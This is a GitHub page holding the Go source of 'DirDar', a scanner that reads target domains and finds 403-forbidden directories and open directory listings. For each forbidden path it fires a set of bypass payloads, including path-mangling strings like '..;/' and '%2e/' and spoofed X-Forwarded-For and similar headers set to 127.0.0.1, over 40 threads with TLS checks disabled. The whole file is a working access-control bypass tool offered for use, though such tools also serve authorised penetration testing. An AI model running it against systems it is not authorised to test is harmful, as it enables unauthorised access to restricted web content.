-
Notifications
You must be signed in to change notification settings - Fork 98
/
Copy pathmain.go
397 lines (355 loc) · 11.7 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
package main
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"io/ioutil"
"net"
"net/http"
"os"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var SingleScan = false
/*
This colors code from -> https://github.com/ethicalhackingplayground/Zin/blob/master/zin.go
*/
var Reset = "\033[0m"
var Red = "\033[31m"
var Green = "\033[32m"
var Yellow = "\033[33m"
var Blue = "\033[34m"
var Purple = "\033[35m"
var Cyan = "\033[36m"
var Gray = "\033[37m"
var White = "\033[97m"
var Dark = "\033[90m"
var clear map[string]func() //create a map for storing clear funcs
func init() {
clear = make(map[string]func()) //Initialize it
clear["linux"] = func() {
cmd := exec.Command("clear") //Linux example, its tested
cmd.Stdout = os.Stdout
cmd.Run()
}
clear["windows"] = func() {
cmd := exec.Command("cmd", "/c", "cls") //Windows example, its tested
cmd.Stdout = os.Stdout
cmd.Run()
}
if runtime.GOOS == "windows" {
Reset = ""
Dark = ""
Red = ""
Green = ""
Yellow = ""
Blue = ""
Purple = ""
Cyan = ""
Gray = ""
White = ""
}
}
/////////////////////////////////////////////////////////
////| Clear the terminal screen ...
func scre3n() {
/////| This code from :-> https://stackoverflow.com/questions/22891644/how-can-i-clear-the-terminal-screen-in-go
value, ok := clear[runtime.GOOS] //runtime.GOOS -> linux, windows, darwin etc.
if ok { //if we defined a clear func for that platform:
value() //we execute it
}
/* No need to exit the app if the tool cannot clear the screen :D
else { //unsupported platform
//panic("Your platform is unsupported! I can't clear terminal screen :(")
}
*/
}
////| Error handling function ...
func err0r(oNe error, msg string) {
if oNe != nil {
scre3n()
fmt.Println("\n\n [x] - ", Red, msg, White, "\n\n")
os.Exit(0)
return
}
}
///| This function is to find the forbidden directories .....
func ForbidFinder(domain string, wl string, nf bool, TimeOut int, OnlyOk bool, isItSingle bool) {
if isItSingle {
fmt.Println(" -[ YOUR TARGET : ", domain, " ]-\n\n")
}
timeout := time.Duration(TimeOut * 1000000)
tr := &http.Transport{
MaxIdleConns: 20,
MaxIdleConnsPerHost: 20,
IdleConnTimeout: time.Second,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DialContext: (&net.Dialer{
Timeout: timeout,
KeepAlive: time.Second,
}).DialContext,
ResponseHeaderTimeout: 30 * time.Second,
}
client := &http.Client{
Transport: tr,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
Timeout: timeout,
}
///| IF STATMENT |\\\
Door := fmt.Sprintf("%s/%s/", domain, "DirDarWithRandomString")
reQ, err := client.Get(Door)
if err != nil {
return
}
if reQ.StatusCode == 403 {
return
}
if wl != "" {
ForbiddenList, err := os.Open(wl)
if err != nil {
finalErr := fmt.Sprintf("%s [%s]", "There was error opening this file!", wl)
err0r(err, finalErr)
}
defer ForbiddenList.Close()
ForbiDDen := bufio.NewScanner(ForbiddenList)
for ForbiDDen.Scan() {
WordList := ForbiDDen.Text()
FullUrl := fmt.Sprintf("%s/%s/", domain, WordList)
reQ, err := client.Get(FullUrl)
if err != nil {
return
}
defer reQ.Body.Close()
if reQ.StatusCode == 403 {
do3r(domain, WordList, TimeOut, OnlyOk)
} else if reQ.StatusCode == http.StatusOK {
bodyBytes, err := ioutil.ReadAll(reQ.Body)
if err != nil {
return
}
bodyString := string(bodyBytes)
Directory1StCase := "Index of /" + WordList
DirectorySecCase := "Directory /" + WordList
Directory3RdCase := "Directory listing for /" + WordList
if strings.Contains(bodyString, Directory1StCase) || strings.Contains(bodyString, DirectorySecCase) || strings.Contains(bodyString, Directory3RdCase) {
fmt.Println(White, " [+] -", Green, " Directory listing ", White, "[", Cyan, FullUrl, White, "]", "Response code ", "[", reQ.StatusCode, "]")
}
} else {
if nf {
fmt.Println(Purple, " [X] NOT FOUND : ", White, "[", Blue, FullUrl, White, "]", " With code -> ", "[", Red, reQ.StatusCode, White, "]")
} else {
}
}
}
} else {
ForbiddenList := []string{"admin", "test", "img", "inc", "includes", "include", "images", "pictures", "gallery", "css", "js", "asset", "assets", "backup", "static", "cms", "blog", "uploads", "files"}
for i := range ForbiddenList {
WordList := ForbiddenList[i]
FullUrl := fmt.Sprintf("%s/%s/", domain, WordList)
reQ, err := client.Get(FullUrl)
if err != nil {
return
}
defer reQ.Body.Close()
if reQ.StatusCode == 403 {
do3r(domain, WordList, TimeOut, OnlyOk)
} else if reQ.StatusCode == http.StatusOK {
bodyBytes, err := ioutil.ReadAll(reQ.Body)
if err != nil {
return
}
bodyString := string(bodyBytes)
Directory1StCase := "Index of /" + WordList
DirectorySecCase := "Directory /" + WordList
Directory3RdCase := " - " + WordList
if strings.Contains(bodyString, Directory1StCase) || strings.Contains(bodyString, DirectorySecCase) || strings.Contains(bodyString, Directory3RdCase) {
fmt.Println("\n", White, " [+] - ", Green, "Directory listing ", White, "[", Blue, FullUrl, White, "]", "Response code -> ", "[", Green, reQ.StatusCode, White, "]", "\n")
}
} else {
if nf {
fmt.Println(Purple, " [X] NOT FOUND : ", White, "[", Blue, FullUrl, White, "]", " With code -> ", "[", Red, reQ.StatusCode, White, "]")
} else {
}
}
}
}
//wG2.Wait()
// return true
}
func do3r(domain string, path string, TimeOut int, OnlyOk bool) {
ByPass := []string{"%20" + path + "%20/", "%2e/" + path, "./" + path + "/./", "/" + path + "//", path + "..;/", path + "./", path + "/", path + "/*", path + "/.", path + "//", path + "?", path + "???", path + "%20/", path + "/%25", path + "/.randomstring"}
ByPassWithHeader := []string{"X-Custom-IP-Authorization", "X-Originating-IP", "X-Forwarded-For", "X-Remote-IP", "X-Client-IP", "X-Host", "X-Forwarded-Host" , "X-ProxyUser-Ip" , "X-Original-Host" , "X-Real-Ip"}
timeout := time.Duration(TimeOut * 1000000)
tr := &http.Transport{
MaxIdleConns: 20,
MaxIdleConnsPerHost: 20,
IdleConnTimeout: time.Second,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DialContext: (&net.Dialer{
Timeout: timeout,
KeepAlive: time.Second,
}).DialContext,
ResponseHeaderTimeout: timeout,
}
client := &http.Client{
Transport: tr,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
Timeout: timeout,
}
FinalLook := fmt.Sprintf("%s/%s/", domain, path)
FinalLookToReq := fmt.Sprintf("%s/%s/", domain, path)
if !OnlyOk {
fmt.Println(White, " [+]", Cyan, "- FOUND", White, "[", Blue, FinalLook, White, "]", " With code ->", "[", Yellow, "403", White, "]")
}
for t0Bypass2 := range ByPassWithHeader {
//FullUrl := fmt.Sprintf("%s/%s", domain, )
//reQ, err := client.Get(FullUrl)
reQ, err := http.NewRequest("GET", FinalLookToReq, nil)
if err != nil {
panic(err)
}
reQ.Header.Add(ByPassWithHeader[t0Bypass2], "127.0.0.1")
resp, err := client.Do(reQ)
if err != nil {
//panic(err)
return
}
if resp.StatusCode == http.StatusOK {
bodyBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
return
}
bodyString := string(bodyBytes)
Directory1StCase := "Index of /" + path
DirectorySecCase := "Directory /" + path
Directory3RdCase := " - " + path
if strings.Contains(bodyString, Directory1StCase) || strings.Contains(bodyString, DirectorySecCase) || strings.Contains(bodyString, Directory3RdCase) {
fmt.Println("\n", Yellow, " [+] - BYPASSED : payload", White, "[", Green, ByPassWithHeader[t0Bypass2], ": 127.0.0.1", "] :", "] ", Blue, FinalLook, White, " -> Response status code [", Green, resp.StatusCode, White, "]\n")
}
//finalWG.Done()
//time.Sleep(10 * time.Second)
} else {
if !OnlyOk {
fmt.Println(White, " [-]", Yellow, " - FAILED : payload", White, "[", Green, ByPassWithHeader[t0Bypass2], ": 127.0.0.1", White, "] ", Blue, FinalLook, White, " -> Response status code [", Red, resp.StatusCode, White, "]")
}
}
}
for t0Bypass := range ByPass {
// finalWG.Add(1)
//qs := url.QueryEscape(ByPass[t0Bypass])
FullUrl := fmt.Sprintf("%s/%s", domain, ByPass[t0Bypass])
//u, err := url.Parse(qs)
reQ, err := client.Get(FullUrl)
if err != nil {
return
//panic(err)
}
defer reQ.Body.Close()
if reQ.StatusCode == http.StatusOK {
bodyBytes, err := ioutil.ReadAll(reQ.Body)
if err != nil {
return
}
bodyString := string(bodyBytes)
Directory1StCase := "Index of /" + path
DirectorySecCase := "Directory /" + path
Directory3RdCase := " - " + path
if strings.Contains(bodyString, Directory1StCase) || strings.Contains(bodyString, DirectorySecCase) || strings.Contains(bodyString, Directory3RdCase) {
fmt.Println("\n", Yellow, " [+] - BYPASSED : payload", White, "[", Green, ByPass[t0Bypass], White, "] ", Blue, FinalLook, White, " -> Response status code [", Green, reQ.StatusCode, White, "]\n")
}
//stime.Sleep(10 * time.Second)
} else {
if !OnlyOk {
fmt.Println(White, " [-]", Yellow, " - FAILED : payload", White, "[", Green, ByPass[t0Bypass], White, "] ", Blue, FullUrl, White, " -> Response status code [", Red, reQ.StatusCode, White, "]")
}
}
}
}
func worker(domain chan string, wg *sync.WaitGroup, wl string, nf bool, TimeOut int, OnlyOk bool) {
defer wg.Done()
for b := range domain {
ForbidFinder(b, wl, nf, TimeOut, OnlyOk, SingleScan)
}
}
func bann3r() {
scre3n()
const banner = `
______ _ ______
| _ (_) | _ \
| | | |_ _ __| | | |__ _ _ __
| | | | | '__| | | / _ | '__|
| |/ /| | | | |/ / (_| | |
|___/ |_|_| |___/ \__,_|_| v1.0
`
const about = `
Author : Mohammed Al-Barbari
Twitter : @m4dm0e
GrodRiket security team
Love from :`
var from = Red + "Ye" + White + "me" + Dark + "n"
fmt.Println(banner, about, from, Reset, "\n\n")
}
func h3lp() {
fmt.Println("\n", White, " [-]", Red, "No input provided ", White, "(Run the tool again with --help flag for more information .)\n\n")
os.Exit(0)
}
func main() {
bann3r()
var wg sync.WaitGroup
DomainsList := make(chan string)
////| Requests TimeOut
var TimeOut int
flag.IntVar(&TimeOut, "t", 10000, "Set the timeout of the requests (Millisecond)")
var con int
flag.IntVar(&con, "threads", 40, "Number of threads")
var wl string
flag.StringVar(&wl, "wl", "", "Forbidden directories WordList")
showErr := flag.Bool("err", false, "If you want to show errors!(Includes 404 errors) [True-False]")
//var OnlyOK string
//flag.StringVar(&OnlyOK, "only-ok", "", "Print out only OK (Bypassed and dir listing) ")
OnlyOK := flag.Bool("only-ok", false, "Print out only OK (Bypassed and dir listing) ")
// var OnlyBypass string
// flag.StringVar(&OnlyBypass, "to-bypass", "", "Use this option with sites list [If you already have forbidden dirs] e.x(-to-bypass Forbiddens.txt)")
var SingleSite string
flag.StringVar(&SingleSite, "single", "", "Only scan single target e.g (-single https://example.com/)")
flag.Parse()
// showErr = strings.ToLower(showErr)
if wl != "" {
ForbiddenList, err := os.Open(wl)
if err != nil {
finalErr := fmt.Sprintf("%s [%s]", "There was error opening this file!", wl)
err0r(err, finalErr)
_ = ForbiddenList
}
}
if SingleSite == "" {
for c := 0; c <= con; c++ {
wg.Add(1)
go worker(DomainsList, &wg, wl, *showErr, TimeOut, *OnlyOK)
}
sc := bufio.NewScanner(os.Stdin)
stat, _ := os.Stdin.Stat()
if (stat.Mode() & os.ModeCharDevice) == 0 {
go func() {
for sc.Scan() {
texted := sc.Text()
DomainsList <- texted
}
close(DomainsList)
}()
} else {
h3lp()
}
wg.Wait()
} else {
ForbidFinder(SingleSite, wl, *showErr, TimeOut, *OnlyOK, true)
}
}